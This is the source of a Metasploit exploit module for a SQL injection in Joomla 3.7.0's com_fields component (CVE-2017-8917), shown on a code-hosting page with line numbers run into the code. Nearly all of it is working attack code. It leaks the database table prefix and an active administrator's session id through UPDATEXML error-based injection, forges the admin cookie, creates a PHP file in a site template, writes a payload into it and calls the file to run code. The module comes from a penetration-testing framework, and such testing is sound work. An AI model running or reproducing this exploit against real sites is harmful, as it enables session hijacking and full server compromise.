Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/joomla_comfields_sqli_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper10include Msf::Exploit::Remote::HTTP::Joomla1112def initialize(info={})13super(update_info(info,14'Name' => 'Joomla Component Fields SQLi Remote Code Execution',15'Description' => %q{16This module exploits a SQL injection vulnerability in the com_fields17component, which was introduced to the core of Joomla in version 3.7.0.18},19'License' => MSF_LICENSE,20'Author' =>21[22'Mateus Lino', # Vulnerability discovery23'luisco100 <luisco100[at]gmail.com>' # Metasploit module24],25'References' =>26[27[ 'CVE', '2017-8917' ], # SQLi28[ 'EDB', '42033' ],29[ 'URL', 'https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html' ]30],31'Payload' =>32{33'DisableNops' => true,34# Arbitrary big number. The payload gets sent as POST data, so35# really it's unlimited36'Space' => 262144, # 256k37},38'Platform' => ['php'],39'Arch' => ARCH_PHP,40'Targets' =>41[42[ 'Joomla 3.7.0', {} ]43],44'Privileged' => false,45'DisclosureDate' => '2017-05-17',46'DefaultTarget' => 0))4748end4950def check51# Request using a non-existing table52val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')5354if val.nil?55return Exploit::CheckCode::Safe56else57return Exploit::CheckCode::Vulnerable58end59end606162def sqli(tableprefix, option)63# SQLi will grab Super User or Administrator sessions with a valid username and userid (else they are not logged in).64# The extra search for userid!=0 is because of our SQL data that's inserted in the session cookie history.65# This way we make sure that's excluded and we only get real Administrator or Super User sessions.66if option == 'check'67start = rand_text_alpha(5)68start_h = start.unpack('H*')[0]69fin = rand_text_alpha(5)70fin_h = fin.unpack('H*')[0]7172sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID((IFNULL(CAST(TO_BASE64(table_name) AS CHAR),0x20)),1,22) FROM information_schema.tables order by update_time DESC LIMIT 1),0x#{fin_h}),4879))"73else74start = rand_text_alpha(3)75start_h = start.unpack('H*')[0]76fin = rand_text_alpha(3)77fin_h = fin.unpack('H*')[0]7879sql = "(UPDATEXML(2170,CONCAT(0x2e,0x#{start_h},(SELECT MID(session_id,1,42) FROM #{tableprefix}session where userid!=0 LIMIT 1),0x#{fin_h}),4879))"80end8182# Retrieve cookies83res = send_request_cgi({84'method' => 'GET',85'uri' => normalize_uri(target_uri.path, 'index.php'),86'vars_get' => {87'option' => 'com_fields',88'view' => 'fields',89'layout'=> 'modal',90'list[fullordering]' => sql91}92})9394if res && res.code == 500 && res.body =~ /#{start}(.*)#{fin}/95return $196end97return nil98end99100101def exploit102# Request using a non-existing table first, to retrieve the table prefix103val = sqli(rand_text_alphanumeric(rand(10)+6), 'check')104if val.nil?105fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")106else107table_prefix = Base64.decode64(val)108table_prefix.sub! '_session', ''109print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")110end111112# Retrieve the admin session using our retrieved table prefix113val = sqli("#{table_prefix}_", 'exploit')114if val.nil?115fail_with(Failure::Unknown, "#{peer}: No logged-in Administrator or Super User user found!")116else117auth_cookie_part = val118print_status("#{peer} - Retrieved cookie [ #{auth_cookie_part} ]")119end120121# Retrieve cookies122res = send_request_cgi({123'method' => 'GET',124'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php')125})126127if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/128cookie_begin = $1129print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")130else131fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")132end133134# Modify cookie to authenticated admin135auth_cookie = cookie_begin136auth_cookie << '='137auth_cookie << auth_cookie_part138auth_cookie << ';'139140# Authenticated session141res = send_request_cgi({142'method' => 'GET',143'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),144'cookie' => auth_cookie145})146147if res && res.code == 200 && res.body =~ /Control Panel -(.*?)- Administration/148print_good("#{peer} - Successfully authenticated")149else150fail_with(Failure::Unknown, "#{peer} - Session failure")151end152153# Retrieve template view154res = send_request_cgi({155'method' => 'GET',156'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),157'cookie' => auth_cookie,158'vars_get' => {159'option' => 'com_templates',160'view' => 'templates'161}162})163164# We try to retrieve and store the first template found165if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/166template_id = $1167file_id = $2168169form = res.body.split(/<form action=([^\>]+) method="post" name="adminForm" id="adminForm"\>(.*)<\/form>/mi)170input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)171input_id = input_hidden[7].split("\"")172input_id = input_id[1]173174else175fail_with(Failure::Unknown, "Unable to retrieve template")176end177178179180filename = rand_text_alphanumeric(rand(10)+6)181# Create file182print_status("#{peer} - Creating file [ #{filename}.php ]")183res = send_request_cgi({184'method' => 'POST',185'uri' => normalize_uri(target_uri.path, 'administrator', 'index.php'),186'cookie' => auth_cookie,187'vars_get' => {188'option' => 'com_templates',189'task' => 'template.createFile',190'id' => template_id,191'file' => file_id,192},193'vars_post' => {194'type' => 'php',195'address' => '',196input_id => '1',197'name' => filename198}199})200201# Grab token202if res && res.code == 303 && res.headers['Location']203location = res.headers['Location']204print_status("#{peer} - Following redirect to [ #{location} ]")205res = send_request_cgi(206'uri' => location,207'method' => 'GET',208'cookie' => auth_cookie209)210211# Retrieving template token212if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/213token = $1214print_status("#{peer} - Token [ #{token} ] retrieved")215else216fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")217end218219if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/220template_path = $1221print_status("#{peer} - Template path [ #{template_path} ] retrieved")222else223fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")224end225226else227fail_with(Failure::Unknown, "#{peer} - Creating file failed")228end229230filename_base64 = Rex::Text.encode_base64("/#{filename}.php")231232# Inject payload data into file233print_status("#{peer} - Insert payload into file [ #{filename}.php ]")234res = send_request_cgi({235'method' => 'POST',236'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),237'cookie' => auth_cookie,238'vars_get' => {239'option' => 'com_templates',240'view' => 'template',241'id' => template_id,242'file' => filename_base64,243},244'vars_post' => {245'jform[source]' => payload.encoded,246'task' => 'template.apply',247token => '1',248'jform[extension_id]' => template_id,249'jform[filename]' => "/#{filename}.php"250}251})252253if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/254print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")255else256fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")257end258259# Request payload260register_files_for_cleanup("#{filename}.php")261print_status("#{peer} - Executing payload")262res = send_request_cgi({263'method' => 'POST',264'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),265'cookie' => auth_cookie266})267end268end269270271